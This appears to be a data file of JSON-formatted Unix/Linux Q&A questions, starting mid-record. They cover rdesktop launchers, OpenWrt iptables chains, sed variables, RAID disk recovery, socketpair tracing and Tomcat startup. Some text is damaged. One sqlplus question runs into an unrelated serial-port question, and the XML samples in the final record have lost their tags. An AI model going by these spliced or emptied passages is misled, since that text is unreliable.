double-clicking on a _starter_ on my Ubuntu Lucid desktop. More specifically, I would like to start a `rdesktop` session. I have thus entered `rdesktop -u user -d domain address.to.remote.server` into the _Command_ field of the starter. However, double clicking does nothing, even though the starter is set to _executable_. What am I doing wrong?"} {"_id": "56250", "title": "redirect web server with no-ip and port forwarding in livebox", "text": "I want my Apache web server running on a Livebox (home router appliance running Linux) to be accessible from the Internet (WAN). I installed and configured the application noip2 on my Ubuntu PC. When I ping my hostname, it redirects me to my WAN ip, which is what I wanted. But I cannot access my Apache web server. I tried this: * Disabling the `iptables` firewall configuration or the firewall of my Sagem modem. * Port forwarding on sagem modem (NAT). * Configuration of Apache. What else can I try? How can I make my web server accessible from the WAN side?"} {"_id": "93940", "title": "Sourcing a shell script from within Emacs", "text": "I would like to **source** a shell script that changes my environment variables from within Emacs. That is, I would like the shell script to change the environment in which Emacs runs, and I would like to do this from within a running Emacs session. In other words: 1. I start Emacs from `zsh` 2. I would like to source a `zsh` script from within Emacs that changes environment variables such as `LD_LIBRARY_PATH` ### Background: This is an attempt to circumvent the problem that I described here, where I need to **set** `LD_LIBRARY_PATH` to run Emacs, but I need to **unset** it to run a specific Python distribution (Anaconda). Specifically, I want to use an Emacs package (emacs-jedi) that requires access to this Python distribution, but currently I need to **unset** `LD_LIBRARY_PATH` first to start Emacs, so I would need to **set** it later so that I can use `emacs-jedi` from within Emacs. Is this at all possible?"} {"_id": "69112", "title": "How can I use variables when doing a sed?", "text": "I want to do: cat update_via_sed.sh | sed 's/old_name/new_name/' > new_update_via_sed.sh in my program. But I want to use variables, e.g. old_run='old_name_952' new_run='old_name_953' I have tried using them but the substitution doesn't happen (no error). I have tried: cat update_via_sed.sh | sed 's/old_run/new_run/' cat update_via_sed.sh | sed 's/$old_run/$new_run/' cat update_via_sed.sh | sed 's/${old_run}/${new_run}/'"} {"_id": "96713", "title": "Is it best practice to update mysql , php and apache on linux regularly to current version?", "text": "I have a VPS unmanaged and have installed CentOS 6.3, mysql 5.1.69, php 5.3.3 and apache 2.2.15 No formal or otherwise education in computer programming so trying to follow as many documented guidelines as I can to close any obvious security holes. Is it is best practice to use only current versions of each ? Are the ones I am using now too out dated?"} {"_id": "93946", "title": "How to install PostgreSQL 9.3 in FreeBSD jail?", "text": "I configured virtual NICS using `pf`, and a jail for FreeBSD using `qjail create pgsql-jail 192.168.0.3`. When I tried to install PostgreSQL 9.3 using port collection, it shows strange message at first. pgsql-jail /usr/ports/databases/postgresql93-server >make install ===> Building/installing dialog4ports as it is required for the config dialog ===> Cleaning for dialog4ports-0.1.5_1 ===> Skipping 'config' as NO_DIALOG is defined ====> You must select one and only one option from the KRB5 single *** [check-config] Error code 1 Stop in /basejail/usr/ports/ports-mgmt/dialog4ports. *** [install] Error code 1 Stop in /basejail/usr/ports/ports-mgmt/dialog4ports. ===> Options unchanged => postgresql-9.3.0.tar.bz2 doesn't seem to exist in /var/ports/distfiles/postgresql. => Attempting to fetch ftp://ftp.se.postgresql.org/pub/databases/relational/postgresql/source/v9.3.0/postgresql-9.3.0.tar.bz2 postgresql-9.3.0.tar.bz2 1% of 16 MB 71 kBps Anyway, installation continues, so I waited. I chose all default options for all option dialogs. And at the end of the process, I saw it finally failed with this message. ====> Compressing man pages ===> Building package for pkgconf-0.9.3 Creating package /basejail/usr/ports/devel/pkgconf/pkgconf-0.9.3.tbz Registering depends:. Registering conflicts: pkg-config-*. Creating bzip'd tar ball in '/basejail/usr/ports/devel/pkgconf/pkgconf-0.9.3.tbz' tar: Failed to open '/basejail/usr/ports/devel/pkgconf/pkgconf-0.9.3.tbz' pkg_create: make_dist: tar command failed with code 256 *** [do-package] Error code 1 Stop in /basejail/usr/ports/devel/pkgconf. *** [build-depends] Error code 1 Stop in /basejail/usr/ports/textproc/libxml2. *** [install] Error code 1 Stop in /basejail/usr/ports/textproc/libxml2. *** [lib-depends] Error code 1 Stop in /basejail/usr/ports/databases/postgresql93-server. *** [install] Error code 1 Stop in /basejail/usr/ports/databases/postgresql93-server. I have no idea why this fails. Errors at beginning seems I have something wrong with `dialog4ports`. And errors at last seems installer cannot write to ports file tree. AFAIK, the ports files are read-only shared from host system. What's wrong with my jail? How can install PostgreSQL 9.3 in my jail?"} {"_id": "93947", "title": "Appending values to environment variables from within Emacs", "text": "I am new to Elisp. I would like to do the following in my init file: ; Retrieve the value of LD_LIBRARY_PATH ; Append '/path/to/some/lib/:'to it ; Save the new value of LD_LIBRARY_PATH So far I know that I can use: (getenv \"LD_LIBRARY_PATH\") to retrieve the value, and: (setenv \"LD_LIBRARY_PATH\" \"foo\") to set a new value, but my knowledge of Elisp is extremely rudimentary so I don't know to proceed from this point. ### Background: This question is inspired by the fact that it is not be possible to source a shell script to manipulate this environment from within Emacs, so I would need to do this using Elisp."} {"_id": "57127", "title": "How to make sense of an iptables chain configuration", "text": "This is about how to make sense of the _chains_ found in the `iptables` default configuration on a typical home router running OpenWrt (a stripped down Linux for router devices), but which ultimately may not be specific to that particular system. Let's focus on the `INPUT` main chain here, and disregard `FORWARD` and `OUTPUT` from the same _table_, as well as `PREROUTING` and `POSTROUTING` from the `nat` table. Doing an `iptables -L -t filter` shows a large number of rules. I have rearranged the output below to make it less intimidating, and in an attempt to pinpoint the parts that hamper my understanding. There are three built-in chains in the `filter` table, which appear at the top of the output. (I specified `-v` because I find it less confusing.) Chain INPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 1260 133K ACCEPT all -- any any anywhere anywhere ctstate RELATED,ESTABLISHED 8 544 ACCEPT all -- lo any anywhere anywhere 787 41632 syn_flood tcp -- any any anywhere anywhere tcp flags:FIN,SYN,RST,ACK/SYN 13012 1249K input_rule all -- any any anywhere anywhere 13012 1249K input all -- any any anywhere anywhere Chain FORWARD \u2026 # not considering this chain here Chain OUTPUT \u2026 # not considering either As you can see, I snipped the chains referenced from `FORWARD` and `OUTPUT` in order to focus on `INPUT`. (I could have chosen any of the other two as they are built up in a similiar manner.) `INPUT` has a policy of `ACCEPT`, and it specifies five rules. The first three ones are clear to me. First, accept stuff that is \"established\" or \"related\". (For example, accept the response from an HTTP or DNS request I made.) Seconds, accept everything going to the loopback device (`127.0.0.1`). (This may only come from localhost itself, and I do want that to work. Wouldn't make sense otherwise.) Third, have a synflood protection. (Which protects against a certain kind of attack.) Chain syn_flood (1 references) pkts bytes target prot opt in out source destination 787 41632 RETURN tcp -- any any anywhere anywhere tcp flags:FIN,SYN,RST,ACK/SYN limit: avg 25/sec burst 50 0 0 DROP all -- any any anywhere anywhere But then, there are two rules branching into two chains called `input` and `input_rule`, and the question is, why are there two of them, and which one are you supposed to use for what? Let's drill down the jump stack of those rules. Chain input_rule (1 references) pkts bytes target prot opt in out source destination There's nothing in here yet. It is meant for me to add rules. But what kind of rules? Chain input (1 references) pkts bytes target prot opt in out source destination 6315 482K zone_lan all -- br-lan any anywhere anywhere 6697 767K zone_wan all -- pppoe-wan any anywhere anywhere Okay, this one does have stuff, jumping further down into LAN and WAN, which makes sense for a home router. Chain zone_lan (1 references) pkts bytes target prot opt in out source destination 6315 482K input_lan all -- any any anywhere anywhere 6315 482K zone_lan_ACCEPT all -- any any anywhere anywhere Chain zone_wan (1 references) pkts bytes target prot opt in out source destination 0 0 ACCEPT udp -- any any anywhere anywhere udp dpt:bootpc 0 0 ACCEPT icmp -- any any anywhere anywhere icmp echo-request 6697 767K input_wan all -- any any anywhere anywhere 6697 767K zone_wan_REJECT all -- any any anywhere anywhere As you can see, each one of those rules jumps further down the stack to more user-defined rules. Chain input_lan (1 references) pkts bytes target prot opt in out source destination Chain zone_lan_ACCEPT (2 references) pkts bytes target prot opt in out source destination 4 1322 ACCEPT all -- any br-lan anywhere anywhere 6315 482K ACCEPT all -- br-lan any anywhere anywhere What is the purpose of `input_lan`? The other one is probably to accept packets, but it makes me wonder \u2026 the policy for `INPUT` is `ACCEPT`, so why repeat `ACCEPT` here? Now, input from WAN. If you scroll up you can see that some UDP and ICMP stuff is accepted. This is for DHCP and, basically, `ping`. That much is clear. What is less clear, again, is the partially empty stuff following those rules: Chain input_wan (1 references) pkts bytes target prot opt in out source destination Same question as for `input_lan`. Chain zone_wan_REJECT (2 references) pkts bytes target prot opt in out source destination 0 0 reject all -- any pppoe-wan anywhere anywhere 6697 767K reject all -- pppoe-wan any anywhere anywhere Okay, that is input from WAN (not established or related), and yes, we probably want to reject it, and now there are two kinds of rejection here, one closing the socket (`tcp-reset`) for TCP connection attempts, and another one via ICMP reply (`icmp-port-unreachable`) for ICMP messages (think `ping`). Chain reject (5 references) pkts bytes target prot opt in out source destination 595 31817 REJECT tcp -- any any anywhere anywhere reject-with tcp-reset 4858 582K REJECT all -- any any anywhere anywhere reject-with icmp-port-unreachable This last one is a catch-all. So nothing will get accepted here. Finally, here's a list of other chains found in the `filter` table that aren't referenced from the built-in `INPUT` chain in the `net` table. Just for completeness, and to see that they seem to have analogous constructs. # other chains, not reached from the INPUT chain, so truncated and moved here Chain forward (1 references) Chain forwarding_lan (1 references) Chain forwarding_rule (1 references) Chain forwarding_wan (1 references) Chain nat_reflection_fwd (1 references) Chain output (1 references) Chain output_rule (1 references) Chain reject (5 references) Chain zone_lan_DROP (0 references) Chain zone_lan_REJECT (1 references) Chain zone_lan_forward (1 references) Chain zone_wan_ACCEPT (2 references) Chain zone_wan_DROP (0 references) Chain zone_wan_forward (1 references) So, well. Sorry for this long post. There were a couple questions along the way. I don't know how to put this in an easier or shorter way. This `iptables` configuration is not exactly easy to grasp because there are unclear details spread about here and there. Hope you can clarify this and explain the underlying rationale. Thanks for your attention."} {"_id": "57124", "title": "Remove newline from unix variable", "text": "I have a variable whose value is found using sql query. I want to remove the new line charcater from that variable since I want to concatenate this variable with the other. Below is the code: dt=`sqlplus -s user/pwd@servicename < /dev/ttyUSB0 # in another terminal, this hangs and does nothing cat < /dev/ttyS0 I can do similar things with `netcat` and pipes very easily (below), so I feel something like the above should be possible as well. mkfifo mypipe # in one terminal cat < mypipe # in another. works as expected echo \"asdf\" > mypipe"} {"_id": "57121", "title": "Home directory vs Working directory", "text": "In unix like systems what is the difference between a `home directory` and `working directory` ?"} {"_id": "150467", "title": "Discovering possible RAID configuration of a bunch of disks", "text": "I have a stack of 8 disks which were at one point all inside of one host. That host no longer exists, but it's been requested that I retrieve data from these disks. No one can tell me anything about their configuration. At first I was hoping they were JBOD, but after looking at the results of various disk checking utilities, I can only conclude that they are in some sort of RAID configuration, and/or possibly corrupt. Here are my findings. I'm hoping someone can give me a sliver of a hint as to how to actually access the data on them. =========================================== **Disk #1 (250 GB)** : primary disk with the OS. /boot and / partitions exist, which contain your typical layout of RHEL5 config files, etc. There is no problem mounting and accessing this drive. **Disk #2 (1 TB)** : gdisk reports that this one has a \"damaged\" GPT. It then says in more detail that the \"backup GPT\" is damaged, and that the primary GPT is fine. As such, I can type \"p\" to view the partitions, and it shows one: /dev/sdc1 at 5.5 TB. This is what tipped me off that we got some RAID action going on somewhere, as this disk itself is 1 TB. **Disk #3 (1 TB)** : gdisk shows no partition table nor any partitions, but curiously fdisk -l shows two partitions (/dev/sdc1: GPT and /dev/sdc3: empty). **Disk #4 (1 TB)** : gdisk/fdisk shows no partition table nor any partitions. **Disk #5 (1 TB)** : gdisk/fdisk shows no partition table nor any partitions. **Disk #6 (1 TB)** : gdisk/fdisk shows no partition table nor any partitions. **Disk #7 (1 TB)** : gdisk/fdisk shows no partition table nor any partitions. **Disk #8 (1 TB)** : gdisk/fdisk shows no partition table nor any partitions. But the difference with this one is that my computer actually makes an attempt to mount an ext3 filesystem automatically upon plugging it in, and fails with the error message \"Block bitmap for group 1920 not in group (block 398460416)!\" =========================================== How does one go about figuring this out or getting the data off of these disks? I was hoping that I could look at the primary ( **Disk #1** )'s /etc/ files to try to find some mdadm.conf or something that would indicate RAID setup, but I couldn't find anything relevant."} {"_id": "150463", "title": "How do I add a screenshot for my package?", "text": "I created a repository with `reprepro` and it is working fine, but I would like to add the \"images\" to the packages when they are displayed with some package manager such as synaptic. At first, i was having problems with change-logs too, but when asking for a change-log the following message is displayed `URI was: http://foo/pool/main/7/7zrecover/7zrecover_2.6_all.changelog` So I understood that I needed to create that URL in order to call the change- log. I did it and it worked. I wanted to use the same method to call the image of the package, but when the error is displayed the URL is not shown so I don't have any idea of what URL is being requested. I've also been doing Internet researches but I just get dumb stuff or packages! Open synaptic and select any package. Then you will see that in the package description there are two buttons \"Get Screenshoot\" and \"Get Changelog\". I would like to make work the \"Get Screenshoot\" button of my packages."} {"_id": "65762", "title": "Server returning 'Not Found' for \"www.host.com\" but not \"host.com\"", "text": "My server is returning the correct paths for all of my domains as long as they are not prefixed with www. The following is one of my domains in it's simplest form: ServerName kyle-o.info ServerAlias www.kyle-o.info DocumentRoot /home/kyle/www/kyle-o.info I can provide logs if needed. The server is running Ubuntu: Distributor ID: Ubuntu Description: Ubuntu 12.10 Release: 12.10 Codename: quantal"} {"_id": "14368", "title": "Difference between POSIX, Single UNIX Specification, and Open Group Base Specifications?", "text": "What are the differences between POSIX, the Single UNIX Specification, and the Open Group Base Specifications? I think their purpose is for determining if an OS is Unix?"} {"_id": "16300", "title": "Who's got the other end of this unix socketpair?", "text": "**I want to determine what process has the other end of a unix socket, that was created with`socketpair()`.** I have a program `parent` which creates a `socketpair(AF_UNIX, SOCK_STREAM, 0, fds)`, and `fork()`s. The parent process closes `fds[1]` and keeps `fds[0]` to communicate. The child does the opposite, `close(fds[0]); s=fds[1]`. Then the child `exec()`s another program, `child1`. The two can communicate back and forth via this socketpair. Now, let's say I know who `parent` is, but I want to figure out who `child1` is. How do I do this? There are several tools at my disposal, but none can tell me which process is on the other end of the socket. ### lsof `lsof -c progname` lists the open files for all processes named `progname`. When I execute `lsof -c parent -c child1` I see the following (unrelated entries removed): jonathon@jrr-suse113:/proc/net> lsof -c server -c child COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME server 12923 jonathon 0u CHR 136,3 0t0 6 /dev/pts/3 server 12923 jonathon 1u CHR 136,3 0t0 6 /dev/pts/3 server 12923 jonathon 2u CHR 136,3 0t0 6 /dev/pts/3 server 12923 jonathon 3u unix 0xf67b8440 0t0 32721 socket child 12924 jonathon 0u CHR 136,3 0t0 6 /dev/pts/3 child 12924 jonathon 1u CHR 136,3 0t0 6 /dev/pts/3 child 12924 jonathon 2u CHR 136,3 0t0 6 /dev/pts/3 child 12924 jonathon 3u unix 0xf42ff4c0 0t0 32722 socket So I see the file descriptors for stdin/out/err, as well as my socket (which has been `dup2`'d to #3 for the child as well). Additionally, we see the socket device numbers in hex, and node (inode). Yet there is nothing that tells me these two are connected (which they definitely are.) ### /proc/xxx/fd This simply shows me the open file descriptors and what they point to. No surprises here. jonathon@jrr-suse113:/> ls -l /proc/`pidof server`/fd total 0 lrwx------ 1 jonathon users 64 2011-07-08 17:58 0 -> /dev/pts/3 lrwx------ 1 jonathon users 64 2011-07-08 17:58 1 -> /dev/pts/3 lrwx------ 1 jonathon users 64 2011-07-08 17:58 2 -> /dev/pts/3 lrwx------ 1 jonathon users 64 2011-07-08 17:58 3 -> socket:[32721] ### /proc/net/unix This also doesn't show me anything that `lsof` doesn't (probably because these are where it gets its information.) Num RefCount Protocol Flags Type St Inode Path f42ff4c0: 00000003 00000000 00000000 0001 03 32722 f67b8440: 00000003 00000000 00000000 0001 03 32721 So basically, I can see the two sockets, and everything about them, but cannot tell that they are connected. Before you ask why I want to see this, consider the case where there are 40 different children processes running. I am trying to then determine which FD in the parent is communicating with which child process."} {"_id": "16303", "title": "What is the significance of single and double quotes in environment variables?", "text": "I defined some environment variables in my .profile like this: MY_HOME=\"/home/my_user\" but the variable does not seem to evaluate unless I strip off the quotes and re-source the file. I believe the quotes are necessary if there will be spaces, and single quotes are used if escapes are not desired. Can someone clarify the significance of single and double quotes in variable definitions? How about front-ticks and back-ticks?"} {"_id": "65769", "title": "Why is my interface font larger with LibreOffice than with other GTK applications?", "text": "I installed LibreOffice and the libreoffice-gtk package. The GUI has the same appearance as other GTK applications, however, the fonts in the interface appear to be 1.5 to 2 times larger than those in other GTK applications. * I had this problem with OpenOffice.org and after upgrading to LibreOffice. * I set the font using the `xfce4-appearance-settings` application. * The font size difference appears no matter what font or size is selected. * Restarting the computer does not solve the problem. Debian 6 LibreOffice 3.5.4.2 XFce 4.6.2"} {"_id": "16307", "title": "What is a fragment size in an ext3 filesystem?", "text": "This is an output from dumpe2fs: root: ~/# dumpe2fs -h /dev/sdb3 | grep -i 'fragment|block size' dumpe2fs 1.39 (29-May-2006) Block size: 4096 Fragment size: 4096 Fragments per group: 32768 Is this related to disk fragmentation?"} {"_id": "105778", "title": "Have you seen this cat?", "text": "I am of course referring to the 'screenmate' cat, Neko - looks like this: ![enter image description here](http://i.stack.imgur.com/lf1B0.gif) A few years ago, I remember Neko could follow my mouse cursor around, and was a helpful distraction from during long hours of work. I am reminded of this after finding this extension for XPenguins: ![enter image description here](http://i.stack.imgur.com/wyxtW.png) And in my short quest, I have found: http://users.frii.com/suzannem/neko/index.html#links http://sourceforge.net/projects/ungattino/?source=directory The first does work, but within a Window in Wine, as it is a exe: ![enter image description here](http://i.stack.imgur.com/vnUeh.png) The second seems to start and work after running it with `java -jar...`, but seems to crash or disapear sometimes. **So where can I get Neko from for my computer - so that it can run around the screen like it used to?** Ubuntu 12.04 & Fedora 19 * * * Here are screenshots from after it was solved: ![moggy 1](http://i.stack.imgur.com/SLZMy.png) ![moggy 2 + penguin](http://i.stack.imgur.com/vb3l1.png)"} {"_id": "105779", "title": "Getting branch from git", "text": "let's say I want to get this branch the same way I get the latest one, using `git clone git://github.com/raspberrypi/linux.git`. How do I do it?"} {"_id": "145548", "title": "Transfer X from monitor to remote machine", "text": "I want to remote login to another laptop to continue working on session left over. VNC is slow because it's bandwith hog. I know (or I think I know) that it's not latency, it's bandwith because the first update from the top of screen or the top of recently changed view occurs very fast, but the entire redraw takes time. I believe that X doesn't send the pixelmap, but instructions on how to redraw screen. So I'd like to use X. Question: Is there a way for me to say, to all the applications, please now migrate to the X server available remotely? Or can I make my computer think that what it calls :0.0 is no longer attached to the monitor, but is now on a remote machine. (And can I reverse this process so that I can switch back to the other laptop whenever I want)?"} {"_id": "61862", "title": "Executing a shell script from remote server on local machine", "text": "Imagine a shell script on the remote server as #!/bin/bash rm /test.x How can I (if possible) to execute this script from my local machine to delete `/test.x` file on my local machine. Obviously, the solution should be with something like `ssh` authorization, but without downloading the script file from the remote server. In fact, I want to use the remote script as a provider of shell commands to be run on the local machine."} {"_id": "150978", "title": "Process IDs range", "text": "On GNU/Linux system I seen only positive PIDs, but when kernel panic occured I seen info about process with PID=0. What's it? On Minix 3 I seen processes with negative PIDs. Minix is POSIX-compatible system, but POSIX allows only positive PIDs. What's it? What variable type I should use in C for saving process ID?"} {"_id": "61861", "title": "untabify on save in Emacs 24 without make-local-hook", "text": "I'd like to untabify whenever I save a buffer. This worked fine until I upgraded to Emacs 24 which broke it, as there is no `make-local-hook` anymore. Have a look: ;;; untabify on C-x C-s (except for GNUmakefiles that needs tabs) ;;; (note: `stringp` check to avoid bug (?) in HTML-mode) (defun untab-all () (unless (and (stringp mode-name) (string= mode-name \"GNUmakefile\") ) (untabify (point-min) (point-max)) )) ;; TODO: doesn't work anymore as no make-local-hook in Emacs 24 - ;; it won't work with simply dropping that line, ;; or doing that, and passing a 4th `t` argument in the second ;; add-hook call (which is the LOCAL parameter) ;; (add-hook 'emacs-lisp-mode-hook ;; '(lambda () ;; (make-local-hook 'write-contents-hooks) ;; (add-hook 'write-contents-hooks 'untab-all) )) **EDIT** Got it to work with the below help and this site. Ironic thing is, with my old solution (using `make-local-hook`), somehow I got this **globally** (which is why I had to add that check for GNU makefiles). Now, this seems to be a local thing: this is good as that check needn't be done at every save; only, you have to state for what modes untabify should be done. (I guess you could just add them one by one as you go along, every time you discover a tab, until you're done. Although it feels like you're using 5-6 modes, when you think about it, you use tons!) But, to confuse things even more, the HTML mode seems to do this, with no intervention! If you read the code above, you see that even for the old solution, HTML was the cat among the ermines... Anyway, this seems to work: (defun untab-all () (untabify (point-min) (point-max)) nil ) ; did not write buffer to disk (defun add-write-contents-hooks-hook () (add-hook 'write-contents-hooks 'untab-all nil ; APPEND unrelated, explicit default nil as optional :) t )) ; LOCAL non-nil => make hook local ;; more modes: http://www.emacswiki.org/CategoryModes (add-hook 'emacs-lisp-mode-hook #'add-write-contents-hooks-hook) (add-hook 'c-mode-common-hook #'add-write-contents-hooks-hook) (add-hook 'sh-mode-hook #'add-write-contents-hooks-hook) (add-hook 'text-mode-hook #'add-write-contents-hooks-hook) (add-hook 'sql-mode-hook #'add-write-contents-hooks-hook) (add-hook 'css-mode-hook #'add-write-contents-hooks-hook)"} {"_id": "61866", "title": "Why would I want to create more partitions if RHEL will only recognize up to 16?", "text": "During some basic RHEL training, I came across this blurb: > Although it's possible to create more, RHEL will recognize only up to 16 > partitions on any individual SATA, SCSI, PATA, or virtual hard drive. That sentence seems to conflict with itself. If RHEL can't recognize more than 16 partitions, why would I ever want to create more than 16?"} {"_id": "105771", "title": "rails command getting removed from $PATH after resume from hibernet", "text": "i came across a very strange issue. i have installed rails through rvm & tested the installation. next day when i logged into system neither ruby nor rails command was found. I reinstalled everything again (rvm, ruby, rails) and tested last night. now this time i kept a terminal open and hibernated the system. but as I am trying to run rails on the new terminal instance it is giving error `\"bash: rails: command not found\"` though other commands ruby, rvm, and gem are working and its showing in rails in`\"gem list\"` however when i tried running it into the instance i kept open it works fine. what could be the issue? i have no clue really. :( `echo $PATH` (terminalA - rails not working) terminalA: /usr/lib64/qt-3.3/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin: /usr/sbin:/sbin:/home/ankit/.rvm/bin:/home/ankit/bin: /home/ankit/.rvm/bin terminalB: /home/ankit/.rvm/gems/ruby-2.0.0-p353/bin: /home/ankit/.rvm/gems/ruby-2.0.0-p353@global/bin: /home/ankit/.rvm/rubies/ruby-2.0.0-p353/bin: /home/ankit/.rvm/bin:/usr/lib64/qt-3.3/bin:/usr/local/bin: /usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/ankit/bin **EDIT:** although i see that by updating the path it would work. but why is it showing 2 different values for the same system at the same time? is there anything know that cause such problem? **EDIT2: I noticed that, this command is getting removed from path everytime system wake up from hibernate. it works on terminal instance which i left open before hibernate. but on every new instance of terminal i get the command not found error.**"} {"_id": "60191", "title": "Autorun Tomcat in Linux Mandriva - java.io.IOException: invalid argument", "text": "Here's the autorun script, which i use - #!/bin/sh # description: Tomcat start/stop script # chkconfig: TOMCAT_PATH=/java/apache-tomcat-7.0.32/bin TOMCAT_START=$TOMCAT_PATH/startup.sh TOMCAT_STOP=$TOMCAT_PATH/shutdown.sh start() { if [ -x ${TOMCAT_START} ]; then echo \"Starting tomcat server...\" ${TOMCAT_START} & else echo \"Cannot start tomcat server\" fi } stop() { if [ -x ${TOMCAT_STOP} ]; then echo \"Stopping tomcat server\" ${TOMCAT_STOP} & else echo \"Cannot stop tomcat server...\" fi } restart() { stop sleep 10 start } case \"$1\" in 'start') start ;; 'stop') stop ;; 'restart') restart ;; *) echo \"Please supply an argument [start|stop|restart]\" esac I put it in - /etc/rc.d/init.d/ I added it to the startup: /sbin/chkconfig --add --level 345 tomcat But when i reboot the system, watch the logs and see - **catalina.out** : ... INFO: Stopping service Catalina jan 03, 2013 6:09:04 PM hudson.util.CharacterEncodingFilter destroy INFO: CharacterEncodingFilter destroyed. jan 03, 2013 6:09:04 PM javax.jmdns.impl.tasks.state.DNSStateTask run WARNING: Canceler(www-...-ru.local.).run() exception java.io.IOException: Invalid argument at java.net.PlainDatagramSocketImpl.send(Native Method) at java.net.DatagramSocket.send(DatagramSocket.java:676) at javax.jmdns.impl.JmDNSImpl.send(JmDNSImpl.java:1537) at javax.jmdns.impl.tasks.state.DNSStateTask.run(DNSStateTask.java:131) at java.util.TimerThread.mainLoop(Timer.java:555) at java.util.TimerThread.run(Timer.java:505) The process does not start. But if i execute the command - /etc/rc.d/init.d/tomcat start The process starts well. Why does it not start automatically? Thanks!"} {"_id": "60190", "title": "security concern around adding cron user to web application group", "text": "I have a permissions issue on my CentOS 5.6 machine with regards to the cron user. On my test/staging environment my cron user (`picco-cron`) is a member of one group - `picco-cron`, as below: [crmpicco@1872-stage1 downloads]$ id picco-cron uid=601(picco-cron) gid=601(picco-cron) groups=601(picco-cron) Whereas, my development environment the same user, is a member of the `dev` group. [root@dev53 dev_crmpicco]# id picco-cron uid=503(picco-cron) gid=503(picco-cron) groups=503(picco-cron),555(dev) The problem I have is that my PHP web application directories have a group of `dev`, which is correct, so on my development environment I can write/read to and from these directories as expected. However, on the test/staging environment I cannot as `picco-cron` is not a member of the `dev` group. My question is - is there a security issue around letting the \"cron\" user have access to writing to 90% of the directories in my application? Is it as simple as to add `picco-cron` to the `dev` group or is there a security concern here?"} {"_id": "120526", "title": "Query about Quad Boot system", "text": "I have triple boot system with win7, ubuntu 13.10 and fedora 20 installed.How to quad boot with kali linux ? my hard disk is 750gb"} {"_id": "2395", "title": "Mounting a partition into a 'sandbox'", "text": "I'm wondering if this is possible. I want to set up a linux system that mounts `/` remote linux machine to `/` on the local machine. However, I want all changes on the local machine to be saved to ram so that it doesn't affect the remote machine. Ideally the changes would NEVER be written, so that when I reboot, it mounts the original `/` partition again disregarding all changes made during the previous session. Is something like that possible?"} {"_id": "120520", "title": "is there a audit tool to track package installs and kernel version", "text": "I'm currently diagnosing a problem that started about a week ago on my laptop (running Ubunutu). The exact issue is not relevant though. Because I was already running several locally built kernel versions and still accepting regular ubuntu package updates, it would have been useful to have a log to refer to of when each new deb package was installed and also the kernel version I was running on each boot up. This would have helped me figure out what change to the system caused the problem to start occuring. So my question is does such an auditing tool (for a linux distro) that is able to keep a log of all OS package installs/updates/removals and the kernel version thats used each time the machine boots? I does specifically need to be under an open-source license and reasonably straight forward to setup and run, for an experienced Linux user but one who is not a full-time sysadmin - this is on a developer laptop not a large server after all."} {"_id": "124860", "title": "What does tail -f do?", "text": "I mistakenly executed the following command in the terminal: `tail -f /logs/applications/logs*` I got the following output: tail: file shrunk! Error 0 I am not sure what exactly happened. I have not been keeping track on the number of files in the directory for quiet a while. Could someone please explain what exactly happened, and did I lose any files. Edit: I am not sure if it is coincidence or not, but after I executed the code, I counted the number of files in the directory, and it was 10! First time the number 10 got me paranoid..."} {"_id": "60197", "title": "fwui.log error while running this script", "text": "I run this bash script in order to put all the files with the following format dated today in the same folder. for example here I want `2012-12-17_083213` to be my folder and then inside it I have the `.log` and `.log_stats` and etc with this name inside it? But I am not able to get the script working. For example, if I try everything up until `dir=$(echo $i | awk '{split($1,a,\"_\"); print a[1]}');` And then to test it, I did echo $dir, and that displays the following: `fwui.log` I searched and understood its about locks in the db but how to solve it? This is the script: #!/bin/bash tosend=\"\" for i in *.log; do dir=$(echo $i | awk '{split($1,a,\"_\"); print a[1]}'); if [ ! -d $dir ]; then mkdir $dir; fi; cp $i $dir; tosend=\"$tosend\\n$dir\" done for i in $(echo -e $tosend | uniq);do echo Compressing $i tar -zcvf $i.tar.gz $i scp $i.tar.gz user@server done and this is the file formats: 2012-12-17_083213_1.log 2012-12-17_083213_1.log_stats 2012-12-17_083213_1.logaccount_ptr 2012-12-17_083213_1.loginitial_ptr 2012-12-17_083213_1.logptr 2012-12-17_093049_2.log 2012-12-17_093049_2.log_stats 2012-12-17_093049_2.logaccount_ptr 2012-12-17_093049_2.loginitial_ptr 2012-12-17_093049_2.logptr"} {"_id": "60196", "title": "flar archive creation", "text": "I'm facing issue, I need to perform a patch of a solaris flar image and all the commands take quite some time to perform it. To avoid me being in front of it I prepared a script that almost works flawlessly. So, basically I have a existing flar archive that needs to be updated. Let's call it common.flar. The script unpacks the Recommneded patches, uncompresses the common.flar applies the patches and then it should compress back the archive. I'm falling at the following command: find . |cpio -ocv|compress > ../flash/archive If I do this outside the script it works without any problem, but if I do it inside a script, it processes the first 5 files of the archive and \"aborts\" with > ../flash/archive: -- file unchanged When this happens and I let the script finish, the new flar archive has the exact same size as the original, if I do it manually, the new flar is bigger. (In this particular case it is installing 72 patches) In the script I make sure that I am get into the proper directory to run the piped commands for the compress. I'm not redirecting the input, just the output to a file but still I am unable to understand why it fails. Another test I've done: Create a test script with only two lines: cd dir; find . |cpio -ocv|compress > ../flash/archive and this works fine. Feeling kinda lost"} {"_id": "120528", "title": "How to define similar bash function at once", "text": "I have these functions in `~/.bashrc`: function guard() { if [ -e 'Gemfile' ]; then bundle exec guard \"$@\" else command guard \"$@\" fi } function rspec() { if [ -e 'Gemfile' ]; then bundle exec rspec \"$@\" else command rspec \"$@\" fi } function rake() { if [ -e 'Gemfile' ]; then bundle exec rake \"$@\" else command rake \"$@\" fi } As you see these functions are very similar. I want to define these 3 functions at once. Is there a way to make it? _environment_ bash --version GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)"} {"_id": "120529", "title": "Compare files and tell how similar they are", "text": "Is there a way to compare two file and give some kind of numeric indication of their similarity? For example, if I have two files that differ by just one character (say, a character was deleted or changed), the program ought to say something like \"file X differs by 1 character.\" Or if two lines are different, say \"file X differs by two lines.\" The best output would be something like \"File X is 95% similar to file Y\""} {"_id": "63425", "title": "how to use patch and diff to merge two files", "text": "I have read about diff and patch but I can't figure out how to apply what I need. I guess its pretty simple, so to show my problem take these two files: a.xml #AAABBB #AAAAAA #AAAAAA #AAAAAA b.xml #AAABBB #BBBBBB #AAAAAA I want to have an output, which looks like this (order doesn't matter): #AAABBB #AAAAAA #BBBBBB #AAAAAA #AAAAAA The merge should conatin all lines along this simple rules: 1. any line which is only in one of the files 2. if a line has the same name tag but a different value, take the value from the second I want to apply this task 